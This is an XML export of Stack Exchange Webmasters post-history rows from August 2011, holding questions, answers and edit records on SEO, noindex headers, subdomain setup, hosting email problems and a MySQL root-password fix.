  <row Id="46231" PostHistoryTypeId="5" PostId="18905" RevisionGUID="f630de53-6b08-4520-ac96-1bcfaf782cc1" CreationDate="2011-08-29T20:15:21.220" UserId="6033" Comment="edited body" Text="I'm working on a website that doesn't want it's content indexed by search engines because it only caters to a specific segment of the population. It purposefully wants to stay hidden from the general public.&#xD;&#xA;&#xD;&#xA;It **does** want it's company name indexed in search engines however, because when the company sends targeted snail mail advertising, users should be able to type the name and find the site. &#xD;&#xA;&#xD;&#xA;It's a requirement for the homepage to function as a gateway into the the rest of the site, so it's unavoidable that the homepage will be rich in relevant keywords that could lead to the site being found by the general public.&#xD;&#xA;&#xD;&#xA;**Summary:** What's a good approach to have a webpage indexed solely by the company's name without generating other keyword searches related to the company? " />
  <row Id="46232" PostHistoryTypeId="2" PostId="18906" RevisionGUID="9e657847-c384-497d-b49c-ecfc9b09fa3d" CreationDate="2011-08-29T20:17:07.637" UserId="1253" Text="You can't. At first you might think you can create a page that only mentions the company's name (which would be very silly and useless but let's use it for the sake of argument). But all someone has to do is link to that page with keywords that are not the company's name (the odds are those keywords will be related to what the company does) and then it will rank for those keywords in addition to the company name. &#xD;&#xA;&#xD;&#xA;The best you can do is block every page but the home page from the search engines and keep the content on this page to a minimum. The less text the better. Make sure the `&lt;title&gt;` and `&lt;h1&gt;` use the company name and try to keep any keyword laden text in images if possible. Essentially this page will be a landing page that will invite the user deeper into the site where more content that is not available to the search engines can be found." />
  <row Id="46233" PostHistoryTypeId="17" PostId="18907" RevisionGUID="9e96b286-954f-424d-a158-3a387fb1390f" CreationDate="2011-08-29T20:51:43.933" UserId="-1" Comment="from http://stackoverflow.com/questions/7235000/expression-engine-doesnt-save-config-through-control-panel" Text="" />
  <row Id="46234" PostHistoryTypeId="2" PostId="18907" RevisionGUID="b82113e0-0f67-4bcf-a2ea-2236d54047d2" CreationDate="2011-08-29T19:39:00.627" UserDisplayName="user861587" Text="I just installed the latest version of Expression Engine 2 on a new machine. &#xD;&#xA;&#xD;&#xA;Everything works well except editing the config.&#xD;&#xA;&#xD;&#xA;The permissions on the config folder and files are `777` (just for testing)&#xD;&#xA;&#xD;&#xA;PHP safe mode is off.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;EE doesn't show any errors but it also doesn't save my configuration.&#xD;&#xA;&#xD;&#xA;Why might this be?&#xD;&#xA;" />
  <row Id="46235" PostHistoryTypeId="1" PostId="18907" RevisionGUID="b82113e0-0f67-4bcf-a2ea-2236d54047d2" CreationDate="2011-08-29T19:39:00.627" UserDisplayName="user861587" Text="Expression Engine doesn't save config through control panel" />
  <row Id="46236" PostHistoryTypeId="3" PostId="18907" RevisionGUID="b82113e0-0f67-4bcf-a2ea-2236d54047d2" CreationDate="2011-08-29T19:39:00.627" UserDisplayName="user861587" Text="&lt;php&gt;&lt;save&gt;" />
  <row Id="46237" PostHistoryTypeId="5" PostId="18907" RevisionGUID="a050fe80-244e-4fd0-881b-f196ccb13050" CreationDate="2011-08-29T20:55:55.793" UserId="1253" Comment="deleted 14 characters in body; edited tags" Text="I just installed the latest version of Expression Engine 2 on a new machine. Everything works well except editing the config. The permissions on the config folder and files are `777` (just for testing). PHP safe mode is off. EE doesn't show any errors but it also doesn't save my configuration.&#xD;&#xA;&#xD;&#xA;Why might this be?&#xD;&#xA;" />
  <row Id="46238" PostHistoryTypeId="6" PostId="18907" RevisionGUID="a050fe80-244e-4fd0-881b-f196ccb13050" CreationDate="2011-08-29T20:55:55.793" UserId="1253" Comment="deleted 14 characters in body; edited tags" Text="&lt;expression-engine&gt;" />
  <row Id="46239" PostHistoryTypeId="25" PostId="18901" RevisionGUID="1cb8e520-4059-4216-8d8e-96b98963ce8c" CreationDate="2011-08-29T21:35:45.247" Comment="http://twitter.com/#!/StackWebmasters/status/108291772916051969" />
  <row Id="46240" PostHistoryTypeId="2" PostId="18908" RevisionGUID="53a8c55c-b921-4e94-8de6-dbdf37d338f2" CreationDate="2011-08-29T21:51:10.157" UserId="5809" Text="My site got effected by Panda, and I am trying to see if making a subdomain would work.&#xD;&#xA;&#xD;&#xA;The site is comehike.com, and I created a subdomain which is currently empty at hiking.comehike.com&#xD;&#xA;&#xD;&#xA;I have a directory /outdoors that has some high quality hand-written articles.  I want to put those into the new subdomain to see what would happen.&#xD;&#xA;&#xD;&#xA;My questions are: &#xD;&#xA;&#xD;&#xA;1) Should I just copy and paste the files for those pages into the new subdomain's folder, and just change all the links in all my pages from the original domian to the new subdomain?&#xD;&#xA;&#xD;&#xA;2) Should I just do a 301 redirect to the new subdomain&#xD;&#xA;&#xD;&#xA;3) Since test.site.com and www.site.com are diff domains, will the new page have to start from scratch in terms of page ranks, and its rankings in the serps? &#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="46241" PostHistoryTypeId="1" PostId="18908" RevisionGUID="53a8c55c-b921-4e94-8de6-dbdf37d338f2" CreationDate="2011-08-29T21:51:10.157" UserId="5809" Text="Proper way to create and work with a subdomain?" />
  <row Id="46242" PostHistoryTypeId="3" PostId="18908" RevisionGUID="53a8c55c-b921-4e94-8de6-dbdf37d338f2" CreationDate="2011-08-29T21:51:10.157" UserId="5809" Text="&lt;seo&gt;" />
  <row Id="46243" PostHistoryTypeId="5" PostId="18890" RevisionGUID="9fe638d4-a283-4e10-9cc4-cca80169fa64" CreationDate="2011-08-29T21:57:39.250" UserId="9915" Comment="added 85 characters in body" Text="I am looking for a service which can easily forward up to 200-300 email accounts. I am ok with paying a nominal fee . I don't want to manage yet another mail server. I looked into mailroute, but its 500 US$ per month for my use case (way too expensive)&#xD;&#xA;&#xD;&#xA;Cheap would be 10$ per hundred users. Perhaps with unlimited forwarding of email." />
  <row Id="46245" PostHistoryTypeId="5" PostId="17598" RevisionGUID="1db2860f-ad2e-46a1-945e-07619cb2c27f" CreationDate="2011-08-29T23:10:55.077" UserId="2315" Comment="tried to clean up spelling and grammar" Text="Having a real problem here, I've tried lots of services to sort this including http://www.xml-sitemaps.com/ as well as software and a PHP script.&#xD;&#xA;&#xD;&#xA;Basically my domain is http://gamingdeluxe.co.uk/&#xD;&#xA;&#xD;&#xA;Whenever I run it through a sitemap generator it ONLY finds that 1 page, and doesn't follow any of the links.&#xD;&#xA;&#xD;&#xA;However robots.txt is setup as&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Allow: /&#xD;&#xA;&#xD;&#xA;so that shouldn't be a problem?&#xD;&#xA;&#xD;&#xA;I found a Java crawler called DRKSpiderJava and it crawled my site sucessfuly—shame no export to .xml feature. so they seem to be crawlable. &#xD;&#xA;&#xD;&#xA;Any ideas why I cant generate one?" />
  <row Id="46246" PostHistoryTypeId="4" PostId="17598" RevisionGUID="1db2860f-ad2e-46a1-945e-07619cb2c27f" CreationDate="2011-08-29T23:10:55.077" UserId="2315" Comment="tried to clean up spelling and grammar" Text="Can't generate a sitemap!" />
  <row Id="46247" PostHistoryTypeId="24" PostId="17598" RevisionGUID="1db2860f-ad2e-46a1-945e-07619cb2c27f" CreationDate="2011-08-29T23:10:55.077" Comment="Proposed by 2315 approved by 4502 edit id of 514" />
  <row Id="46248" PostHistoryTypeId="2" PostId="18909" RevisionGUID="aefaa6e9-ab97-46d3-b99a-82274ab8a624" CreationDate="2011-08-29T23:15:27.720" UserId="9518" Text="With Node.JS as a backend solution; is there any frontend javascript or all events controlled on the backend?" />
  <row Id="46249" PostHistoryTypeId="1" PostId="18909" RevisionGUID="aefaa6e9-ab97-46d3-b99a-82274ab8a624" CreationDate="2011-08-29T23:15:27.720" UserId="9518" Text="Node.JS - Is there any front-end js? or all backend" />
  <row Id="46250" PostHistoryTypeId="3" PostId="18909" RevisionGUID="aefaa6e9-ab97-46d3-b99a-82274ab8a624" CreationDate="2011-08-29T23:15:27.720" UserId="9518" Text="&lt;websites&gt;&lt;javascript&gt;&lt;web&gt;" />
  <row Id="46251" PostHistoryTypeId="2" PostId="18910" RevisionGUID="6c4840ab-37b4-4c3b-9792-efa0a1c07cdf" CreationDate="2011-08-29T23:27:12.560" UserId="6850" Text="Hi Hope you can help and please forgive me for the basic nature of the question&#xD;&#xA;&#xD;&#xA;Im about to launch a site on a live server, after developing it with xampp on localhost.&#xD;&#xA;&#xD;&#xA;I first want to test the site before i make it live, &#xD;&#xA;&#xD;&#xA;how do i setup this up i.e. test.livesite.com etc&#xD;&#xA;&#xD;&#xA;is it just set it up on the server and only add the cname dns setting?&#xD;&#xA;&#xD;&#xA;or is there a better way&#xD;&#xA;&#xD;&#xA;Apologies for the simple nature but im baffled on how to do this&#xD;&#xA;&#xD;&#xA;thanks for your help" />
  <row Id="46252" PostHistoryTypeId="1" PostId="18910" RevisionGUID="6c4840ab-37b4-4c3b-9792-efa0a1c07cdf" CreationDate="2011-08-29T23:27:12.560" UserId="6850" Text="setup test domain ready for site launch" />
  <row Id="46253" PostHistoryTypeId="3" PostId="18910" RevisionGUID="6c4840ab-37b4-4c3b-9792-efa0a1c07cdf" CreationDate="2011-08-29T23:27:12.560" UserId="6850" Text="&lt;web&gt;" />
  <row Id="46254" PostHistoryTypeId="2" PostId="18911" RevisionGUID="7d12734e-f116-4f7c-8f98-a4c305549ae2" CreationDate="2011-08-29T23:35:13.240" UserId="9930" Text="I am setting up a .NET4 ASP.NET MVC website on Server 2003. When I Go to Advanced Web Site Identification and edit the host header value to &quot;website&quot; I get a Plesk Error about errors in the script on the page and then if I continue past these I get &#xD;&#xA;&#xD;&#xA;&quot;Server Default Page &#xD;&#xA;&#xD;&#xA;If you see this page it means: &#xD;&#xA;&#xD;&#xA;1) hosting for this domain is not configured&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;2) there's no such domain registered in Plesk.&quot;&#xD;&#xA;&#xD;&#xA;I have the hosts file configured to point website to 127.0.0.1&#xD;&#xA;&#xD;&#xA;If I change the host header value to another value such as &quot;accwebsite&quot; and configure the hosts file to point accwebsite to 127.0.0.1 it all works fine.&#xD;&#xA;&#xD;&#xA;Now I know that &quot;website&quot; is perhaps not the best choice, but I would like to know why I  am getting these errors." />
  <row Id="46255" PostHistoryTypeId="1" PostId="18911" RevisionGUID="7d12734e-f116-4f7c-8f98-a4c305549ae2" CreationDate="2011-08-29T23:35:13.240" UserId="9930" Text="Server 2003 IIS: Is &quot;website&quot; a reserved host header value" />
  <row Id="46256" PostHistoryTypeId="3" PostId="18911" RevisionGUID="7d12734e-f116-4f7c-8f98-a4c305549ae2" CreationDate="2011-08-29T23:35:13.240" UserId="9930" Text="&lt;plesk&gt;&lt;iis6&gt;" />
  <row Id="46257" PostHistoryTypeId="5" PostId="18910" RevisionGUID="6ca42449-0f4f-4cc8-ba12-239c4411144c" CreationDate="2011-08-29T23:37:38.090" UserId="1253" Comment="deleted 157 characters in body; edited tags" Text="I'm about to launch a site on a live server, after developing it with xampp on localhost. I first want to test the site before i make it live. How do i setup this up so I have it in a subdomain (i.e. test.livesite.com)? Is it just set it up on the server and only add the cname dns setting? Or is there a better way?&#xD;&#xA;" />
  <row Id="46258" PostHistoryTypeId="6" PostId="18910" RevisionGUID="6ca42449-0f4f-4cc8-ba12-239c4411144c" CreationDate="2011-08-29T23:37:38.090" UserId="1253" Comment="deleted 157 characters in body; edited tags" Text="&lt;subdomain&gt;&lt;testing&gt;" />
  <row Id="46259" PostHistoryTypeId="2" PostId="18912" RevisionGUID="daf7510c-e2a0-4355-9288-6e0757b77f8c" CreationDate="2011-08-29T23:51:56.487" UserId="1064" Text="As with any web server, Node is compatible with client Javascript requests - the [base repository][1] does not include any front-end Javascript, however, demos like [Node Chat][2] include front-end scripts (i.e. jQuery).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/joyent/node&#xD;&#xA;  [2]: https://github.com/ry/node_chat" />
  <row Id="46260" PostHistoryTypeId="2" PostId="18913" RevisionGUID="4de4585f-4181-4ea5-9680-cf9685e32b89" CreationDate="2011-08-29T23:55:18.733" UserId="9931" Text="It is completely separate from client-side JS. Like any other browser/server scenario you still have that http middle-man/wall to throw things over. There are plenty of advantages to having both be the same language like sharing core utility libraries, of course, but it will still take an Ajax call to make a mouse event matter to the server." />
  <row Id="46261" PostHistoryTypeId="25" PostId="18909" RevisionGUID="a04eff89-aaa0-40ca-83d4-855170675895" CreationDate="2011-08-30T00:35:46.450" Comment="http://twitter.com/#!/StackWebmasters/status/108337074570137600" />
  <row Id="46262" PostHistoryTypeId="6" PostId="18909" RevisionGUID="c77d673d-6072-4e39-91b7-434e3752fdb9" CreationDate="2011-08-30T00:50:08.150" UserId="1253" Comment="edited tags" Text="&lt;javascript&gt;&lt;node-js&gt;" />
  <row Id="46263" PostHistoryTypeId="4" PostId="18909" RevisionGUID="c77d673d-6072-4e39-91b7-434e3752fdb9" CreationDate="2011-08-30T00:50:08.150" UserId="1253" Comment="edited tags" Text="Node.js - Is there any front-end js? Or is it all backend?" />
  <row Id="46265" PostHistoryTypeId="2" PostId="18915" RevisionGUID="52f53dc6-aaab-4f03-b98b-72a58dcafa5b" CreationDate="2011-08-30T02:32:59.653" UserId="9933" Text="GoDaddy email issues are plentiful, but I have not been able to find anyone resolve this same problem:&#xD;&#xA;&#xD;&#xA;I have a GoDaddy hosted site, and a Google Apps account. The MX info on GoDaddy is correct, as is my server-side code, and the Google Apps credentials in my web.config file (host:smtp.gmail.com, port:587) are correct. I know this because I am able to send emails through SmtpClient hosted my local machine's server when debugging the site. However, once transferred to the GoDaddy hosting account, all emails will not send -- they just time out. Nothing has changed aside from the site being run on the GoDaddy server as opposed to a local server.&#xD;&#xA;&#xD;&#xA;EDIT - SSL is enabled.&#xD;&#xA;&#xD;&#xA;A two part question: 1) Does anybody have any ideas about how to tackle this? 2) If not, is there another web hosting or email hosting site, or a combination of 2, that people can confirm is fast, actually works, and is not impossible to coordinate as is everything with GoDaddy? (I am aware that GoDaddy has their own relaying email server, but I initially used it before switching to Google and found emails coming in 30-60 minutes late).&#xD;&#xA;&#xD;&#xA;Thanks very much!" />
  <row Id="46266" PostHistoryTypeId="1" PostId="18915" RevisionGUID="52f53dc6-aaab-4f03-b98b-72a58dcafa5b" CreationDate="2011-08-30T02:32:59.653" UserId="9933" Text="Google Apps email hosting for a GoDaddy-hosted site works locally but not on live site" />
  <row Id="46267" PostHistoryTypeId="3" PostId="18915" RevisionGUID="52f53dc6-aaab-4f03-b98b-72a58dcafa5b" CreationDate="2011-08-30T02:32:59.653" UserId="9933" Text="&lt;google&gt;&lt;godaddy&gt;&lt;gmail&gt;" />
  <row Id="46268" PostHistoryTypeId="5" PostId="18880" RevisionGUID="77607f2f-79c5-45f5-b822-bc0529fbe4d0" CreationDate="2011-08-30T03:09:11.493" UserId="1253" Comment="appended answer 18914 as supplemental" Text="This Post: http://webmasters.stackexchange.com/questions/574/progressive-jpeg-why-do-many-web-sites-avoid-rendering-jpegs-that-way-pros-c stat that many browsers do not support Progressive JPEG citing this [Wikipedia Article][1]. &#xD;&#xA;&#xD;&#xA;What I have not found is which browsers do and do not support it. &#xD;&#xA;&#xD;&#xA;I know FF 7 supports it but I have not tested the other browsers to know. &#xD;&#xA;&#xD;&#xA;Does anyone have a comparison chart or something similar? &#xD;&#xA;&#xD;&#xA;Bonus Question: What e-mail clients support Progressive JPEG? (Desktop E-Mail Clients e.g. Outlook &amp; Thunerbird etc)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/JPEG&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;So I decided to run few test to see how browsers handled Progressive JPEGs. Here is what I found:&#xD;&#xA;&#xD;&#xA; - Firefox 7 - Displayed Correctly &#xD;&#xA; - Internet Explorer 7 &amp; 8 - Displayed&#xD;&#xA;   Photo once finished downloaded (Did not load scan by scan) &#xD;&#xA; - Safari 5 -&#xD;&#xA;   Displayed Photo once finished downloaded (Did not load scan by scan) &#xD;&#xA; - Chrome 13 - Display Correctly &#xD;&#xA; - Opera 11.5 - Displayed Correctly&#xD;&#xA;&#xD;&#xA;If anyone has any comments to my test or any thoughts please let me know (Including how older browsers of the ones that did load it correctly work).&#xD;&#xA;&#xD;&#xA;I am still wondering about email clients if anyone can help with that." />
  <row Id="46270" PostHistoryTypeId="5" PostId="18915" RevisionGUID="d1eaa29f-5084-4c77-a31c-d30e804d3265" CreationDate="2011-08-30T03:09:34.100" UserId="1253" Comment="deleted 19 characters in body" Text="GoDaddy email issues are plentiful, but I have not been able to find anyone resolve this same problem:&#xD;&#xA;&#xD;&#xA;I have a GoDaddy hosted site, and a Google Apps account. The MX info on GoDaddy is correct, as is my server-side code, and the Google Apps credentials in my web.config file (host:smtp.gmail.com, port:587) are correct. I know this because I am able to send emails through SmtpClient hosted my local machine's server when debugging the site. However, once transferred to the GoDaddy hosting account, all emails will not send -- they just time out. Nothing has changed aside from the site being run on the GoDaddy server as opposed to a local server.&#xD;&#xA;&#xD;&#xA;EDIT - SSL is enabled.&#xD;&#xA;&#xD;&#xA;A two part question: 1) Does anybody have any ideas about how to tackle this? 2) If not, is there another web hosting or email hosting site, or a combination of 2, that people can confirm is fast, actually works, and is not impossible to coordinate as is everything with GoDaddy? (I am aware that GoDaddy has their own relaying email server, but I initially used it before switching to Google and found emails coming in 30-60 minutes late).&#xD;&#xA;" />
  <row Id="46271" PostHistoryTypeId="25" PostId="18874" RevisionGUID="f61977eb-9ea7-44ff-be85-253be02ab7cf" CreationDate="2011-08-30T03:36:09.777" Comment="http://twitter.com/#!/StackWebmasters/status/108382472059879424" />
  <row Id="46272" PostHistoryTypeId="2" PostId="18916" RevisionGUID="82fd129b-83d3-42a4-b797-03bee1cdd457" CreationDate="2011-08-30T03:36:25.467" UserId="9934" Text="I have a &quot;classified advertisement&quot; website that user can submit their advertising posts on it. Each post will be valid for 3 weeks. After then the post will become &quot;expired&quot;. Expired posts will not be physically removed, we just remove the link between the website and the post. So users cannot find the expired posts from the website, but they can find the expired posts if they type in the URL of the post directly. &#xD;&#xA;&#xD;&#xA;After the post become expired, users can create another new post with content same as the expired post so as to extend the advertising period of the posts. I have to allow this.&#xD;&#xA;&#xD;&#xA;My problem is, google will index the expired posts and the new posts, and is reporting duplicated content found on the website.&#xD;&#xA;&#xD;&#xA;So what's the best practice to remove the expired content from search engines?&#xD;&#xA;Thanks!" />
  <row Id="46273" PostHistoryTypeId="1" PostId="18916" RevisionGUID="82fd129b-83d3-42a4-b797-03bee1cdd457" CreationDate="2011-08-30T03:36:25.467" UserId="9934" Text="How to do with out-of-date or expired pages" />
  <row Id="46274" PostHistoryTypeId="3" PostId="18916" RevisionGUID="82fd129b-83d3-42a4-b797-03bee1cdd457" CreationDate="2011-08-30T03:36:25.467" UserId="9934" Text="&lt;seo&gt;" />
  <row Id="46275" PostHistoryTypeId="2" PostId="18917" RevisionGUID="2987f545-dc18-4d69-ae4f-22b6e15ffb76" CreationDate="2011-08-30T03:42:00.827" UserId="1253" Text="Just send out a [robots no-index HTTP header or use the equivalent meta tag][1]. This will tell Google to remove the page from their search results:&#xD;&#xA;&#xD;&#xA;    X-Robots-Tag: noindex&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    &lt;meta name=&quot;robots&quot; content=&quot;noindex&quot;&gt;&#xD;&#xA;&#xD;&#xA;You can also let Google know when a page will expire:&#xD;&#xA;&#xD;&#xA;    X-Robots-Tag: unavailable_after: 7 Jul 2007 16:30:00 GMT&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    &lt;META NAME=&quot;GOOGLEBOT&quot; CONTENT=&quot;unavailable_after: 25-Aug-2007 15:00:00 EST&quot;&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googleblog.blogspot.com/2007/07/robots-exclusion-protocol-now-with-even.html" />
  <row Id="46276" PostHistoryTypeId="5" PostId="18916" RevisionGUID="e35727c4-2173-422a-b39f-884fc9f3cd05" CreationDate="2011-08-30T03:44:15.067" UserId="1253" Comment="deleted 9 characters in body; edited tags" Text="I have a &quot;classified advertisement&quot; website that user can submit their advertising posts on it. Each post will be valid for 3 weeks. After then the post will become &quot;expired&quot;. Expired posts will not be physically removed, we just remove the link between the website and the post. So users cannot find the expired posts from the website, but they can find the expired posts if they type in the URL of the post directly. &#xD;&#xA;&#xD;&#xA;After the post become expired, users can create another new post with content same as the expired post so as to extend the advertising period of the posts. I have to allow this.&#xD;&#xA;&#xD;&#xA;My problem is, google will index the expired posts and the new posts, and is reporting duplicated content found on the website.&#xD;&#xA;&#xD;&#xA;So what's the best practice to remove the expired content from search engines?" />
  <row Id="46277" PostHistoryTypeId="6" PostId="18916" RevisionGUID="e35727c4-2173-422a-b39f-884fc9f3cd05" CreationDate="2011-08-30T03:44:15.067" UserId="1253" Comment="deleted 9 characters in body; edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;duplicate-content&gt;" />
  <row Id="46278" PostHistoryTypeId="5" PostId="17826" RevisionGUID="b6fdf652-61ba-4a23-adf6-9861aa5e2df5" CreationDate="2011-08-30T04:18:54.157" UserId="9404" Comment="edited body" Text="I have added the Google +1 Button to my website and discovered the new Social Activity section in Google WebMaster's Tools. Apparently, one of the interesting things you can learn about your audience is demographic data. But in GWT, the _Social Activity &gt; Audience_ section for my site (currently 49 +1's), says the following: &#xD;&#xA;&#xD;&#xA;&gt; Your site doesn’t have enough +1′s yet to show characteristics&#xD;&#xA;&#xD;&#xA;But I'm not sure how many +1's is enough. Google's official [help page for the Audience section][1] offers little insight:&#xD;&#xA;&#xD;&#xA;&gt; The Audience page displays information about people who have +1'd your pages, including the total number of unique users, their location, and their age and gender.&#xD;&#xA;&#xD;&#xA;&gt; All information is anonymized; Google doesn't share personal information about people who have +1’d your pages. To protect privacy, Google won't display age, gender, or location data unless a certain minimum number of people have +1'd your content.&#xD;&#xA;&#xD;&#xA;But what is that &quot;certain minimum number&quot;? I've tried Googling this but all I could find to date was [this page][2] which doesn't answer the question.&#xD;&#xA;&#xD;&#xA;So how many +1's does a site need before GWT will show me audience demographic characteristics?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.google.com/support/webmasters/bin/answer.py?answer=1198127&amp;hl=en&#xD;&#xA;  [2]: http://www.im3.co.uk/blog/how-many-1s-do-i-need-to-show-characteristics/" />
  <row Id="46279" PostHistoryTypeId="2" PostId="18918" RevisionGUID="0eec0f98-5f86-4ee3-8a03-cddb4a9d52f0" CreationDate="2011-08-30T04:28:07.107" UserId="9936" Text="This looks like there is an issue with mysql.user table&#xD;&#xA;&#xD;&#xA;Please run this query:&#xD;&#xA;&#xD;&#xA;    SELECT user,host,password FROM mysql.user WHERE user='root';&#xD;&#xA;&#xD;&#xA;Something tells me you will see multiple root users. One of those root users still has its password blank. Since you already added a password to one of the root users, here is a query to spread that password to other root users:&#xD;&#xA;&#xD;&#xA;    UPDATE mysql.user&#xD;&#xA;    SET password =&#xD;&#xA;    (&#xD;&#xA;        SELECT password FROM mysql.user&#xD;&#xA;        WHERE user='root' AND password &lt;&gt; ''&#xD;&#xA;    )&#xD;&#xA;    WHERE user='root' AND password='';&#xD;&#xA;    FLUSH PRIVILEGES;&#xD;&#xA;&#xD;&#xA;Give it a Try !!!" />
  <row Id="46280" PostHistoryTypeId="2" PostId="18919" RevisionGUID="ec82f50c-55e2-45ab-a27e-4af4693837da" CreationDate="2011-08-30T04:41:58.447" UserId="9882" Text="I have index.html on my html_directory on my website also I entered a rule as follows:&#xD;&#xA;RewriteRule ^index.html$ newindex.php&#xD;&#xA;It seems requests to my site is routing to my index.html file , my questions are:&#xD;&#xA;1-Do I need to have index.html file on my public_html directory or I can remove it?&#xD;&#xA;2-Is my rewrite rule correct ?&#xD;&#xA;3-Based on my rule on .htaccess which page is open : index.html or newindex.php?&#xD;&#xA;&#xD;&#xA;Regards,&#xD;&#xA;Ramin.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="46281" PostHistoryTypeId="1" PostId="18919" RevisionGUID="ec82f50c-55e2-45ab-a27e-4af4693837da" CreationDate="2011-08-30T04:41:58.447" UserId="9882" Text="Rewrite Issue on index.html" />
  <row Id="46282" PostHistoryTypeId="3" PostId="18919" RevisionGUID="ec82f50c-55e2-45ab-a27e-4af4693837da" CreationDate="2011-08-30T04:41:58.447" UserId="9882" Text="&lt;apache&gt;&lt;htaccess&gt;&lt;mod-rewrite&gt;" />
  <row Id="46283" PostHistoryTypeId="2" PostId="18920" RevisionGUID="1b2ba1a8-8331-4346-b32d-5b9083c121c9" CreationDate="2011-08-30T04:48:25.777" UserId="576" Text="You can extract info from any public web page using Google Docs Spreadsheet function [ImportXML][1].&#xD;&#xA;&#xD;&#xA;*ImportXML lets you get information from filetypes such as xml, html, csv, tsv, as well as RSS and Atom feeds*&#xD;&#xA;&#xD;&#xA;Once you have the extracted info in a Google Docs Spreadsheet, you can choose to [embed it within a web page][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.google.com/support/bin/answer.py?answer=155184&#xD;&#xA;  [2]: http://docs.google.com/support/bin/answer.py?hl=en&amp;answer=55244" />
  <row Id="46284" PostHistoryTypeId="2" PostId="18921" RevisionGUID="c212be06-b411-4ed6-bc9d-d8c8ba2643a6" CreationDate="2011-08-30T04:59:55.597" UserId="9937" Text="I am facing some problems making my site visible to all search engines. Google is recognizing my website and all pages well. Pages appear in search in 1st or second page. But when i use others like yahoo or Bing it does not appear at all. Is there any specific thing that i should do for it." />
  <row Id="46285" PostHistoryTypeId="1" PostId="18921" RevisionGUID="c212be06-b411-4ed6-bc9d-d8c8ba2643a6" CreationDate="2011-08-30T04:59:55.597" UserId="9937" Text="Search engine recognition methods" />
  <row Id="46286" PostHistoryTypeId="3" PostId="18921" RevisionGUID="c212be06-b411-4ed6-bc9d-d8c8ba2643a6" CreationDate="2011-08-30T04:59:55.597" UserId="9937" Text="&lt;search-engines&gt;" />
  <row Id="46287" PostHistoryTypeId="2" PostId="18922" RevisionGUID="fe53459e-401f-46a9-9ad4-7e8bda2f0da7" CreationDate="2011-08-30T06:29:13.453" UserId="9909" Text="Pradeep, Google is at this moment the fastest indexing search engine out there, so even if your site has only one page it will likely be indexed by Google. On the other hand, Yahoo and Bing are not so fast at indexing and will keep your site up to date only if it is big and regularly (I would say daily) updated.&#xD;&#xA;&#xD;&#xA;I have a site for 3 weeks, with about 40 pages which is not indexed in Yahoo, but considering how little traffic Yahoo and Bing brings me I am not worrying about it. You shouldn't worry too. Make your site well-SEOed for Google and Yahoo and Bing will follow." />
  <row Id="46288" PostHistoryTypeId="25" PostId="18916" RevisionGUID="f30e17fd-7296-41d4-ad79-97a37807574f" CreationDate="2011-08-30T06:36:09.940" Comment="http://twitter.com/#!/StackWebmasters/status/108427772036255744" />
  <row Id="46289" PostHistoryTypeId="17" PostId="18923" RevisionGUID="ce48de02-887d-40e8-aad4-41fc9635f7ab" CreationDate="2011-08-30T06:42:45.547" UserId="-1" Comment="from http://stackoverflow.com/questions/7239434/payment-gateway-performance-comparison-is-there-any-site-which-provides-this-da" Text="" />
  <row Id="46290" PostHistoryTypeId="2" PostId="18923" RevisionGUID="bacfa643-c5ca-48b1-9d66-a38ea72832a8" CreationDate="2011-08-30T06:25:38.833" UserDisplayName="chandru" Text="This is a question specifically addressed towards site owners who use payment gateway solutions for India. Is there a site which provides regular updates on the performance of payment gateways?&#xD;&#xA;&#xD;&#xA;I know about the [Indian Railways performance reports][1]. Is there any other site which covers payment gateways like EBS, CCAvenue and the other payment gateways?&#xD;&#xA;&#xD;&#xA;  [1]: https://www.irctc.co.in/betaDoc/Bank_Reports_July.xls" />
  <row Id="46291" PostHistoryTypeId="1" PostId="18923" RevisionGUID="bacfa643-c5ca-48b1-9d66-a38ea72832a8" CreationDate="2011-08-30T06:25:38.833" UserDisplayName="chandru" Text="Payment gateway performance comparison - is there any site which provides this data?" />
  <row Id="46292" PostHistoryTypeId="3" PostId="18923" RevisionGUID="bacfa643-c5ca-48b1-9d66-a38ea72832a8" CreationDate="2011-08-30T06:25:38.833" UserDisplayName="chandru" Text="&lt;payment-gateway&gt;" />
  <row Id="46293" PostHistoryTypeId="17" PostId="18924" RevisionGUID="0a9ac27a-ecf9-4cc1-915c-f5965faebb8f" CreationDate="2011-08-30T07:06:20.040" UserId="-1" Comment="from http://stackoverflow.com/questions/7239122/google-webmaster-shows-wrong-keywords" Text="" />
  <row Id="46294" PostHistoryTypeId="2" PostId="18924" RevisionGUID="f176d689-43e0-4048-be98-4a8b6c2014c0" CreationDate="2011-08-30T05:43:07.273" UserDisplayName="Van de Graff" Text="Google webmaster tools shows wrong keywords for my site.&#xD;&#xA;&#xD;&#xA;For example, it shows&#xD;&#xA;  &gt; public_html&#xD;&#xA;&#xD;&#xA;  &gt; php&#xD;&#xA;&#xD;&#xA;  &gt; include_once&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  and many more irrelevant keywords. Dont know why it's looking at the code.&#xD;&#xA;&#xD;&#xA;I am unable to figure out why.&#xD;&#xA;&#xD;&#xA;Any help is appreciated." />
  <row Id="46295" PostHistoryTypeId="1" PostId="18924" RevisionGUID="f176d689-43e0-4048-be98-4a8b6c2014c0" CreationDate="2011-08-30T05:43:07.273" UserDisplayName="Van de Graff" Text="Google Webmaster shows wrong keywords" />
  <row Id="46296" PostHistoryTypeId="3" PostId="18924" RevisionGUID="f176d689-43e0-4048-be98-4a8b6c2014c0" CreationDate="2011-08-30T05:43:07.273" UserDisplayName="Van de Graff" Text="&lt;google&gt;&lt;seo&gt;&lt;keywords&gt;" />
